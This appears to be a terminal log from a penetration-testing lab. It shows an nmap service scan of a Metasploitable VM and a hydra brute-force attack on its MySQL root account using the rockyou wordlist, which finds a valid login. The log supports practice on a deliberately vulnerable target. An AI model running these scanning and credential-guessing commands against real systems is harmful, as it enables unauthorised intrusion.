┌──(atharva㉿kali)-[~]

└─$ nmap -sV 192.168.178.129

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-23 21:21 IST

Nmap scan report for 192.168.178.129

Host is up (0.0018s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login OpenBSD or Solaris rlogind

514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:66:75:CF (VMware)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.82 seconds

──(atharva㉿kali)-[~]

└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.178.129:3306 -o result.txt

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-23 21:31:10

[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task

[DATA] attacking mysql://192.168.178.129:3306/

[STATUS] 1517.00 tries/min, 1517 tries in 00:01h, 14342881 to do in 157:35h, 4 active

[STATUS] 1530.67 tries/min, 4592 tries in 00:03h, 14339806 to do in 156:09h, 4 active

[3306][mysql] host: 192.168.178.129 login: root

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 1 final worker threads did not complete until end.

[ERROR] 1 target did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-23 21:34:28

┌──(atharva㉿kali)-[~]

└─$ cat result.txt

# Hydra v9.5 run at 2025-04-23 21:31:24 on 192.168.178.129 mysql (hydra -l root -P /usr/share/wordlists/rockyou.txt -o result.txt mysql://192.168.178.129:3306)

[3306][mysql] host: 192.168.178.129 login: root

┌──(atharva㉿kali)-[~]

└─$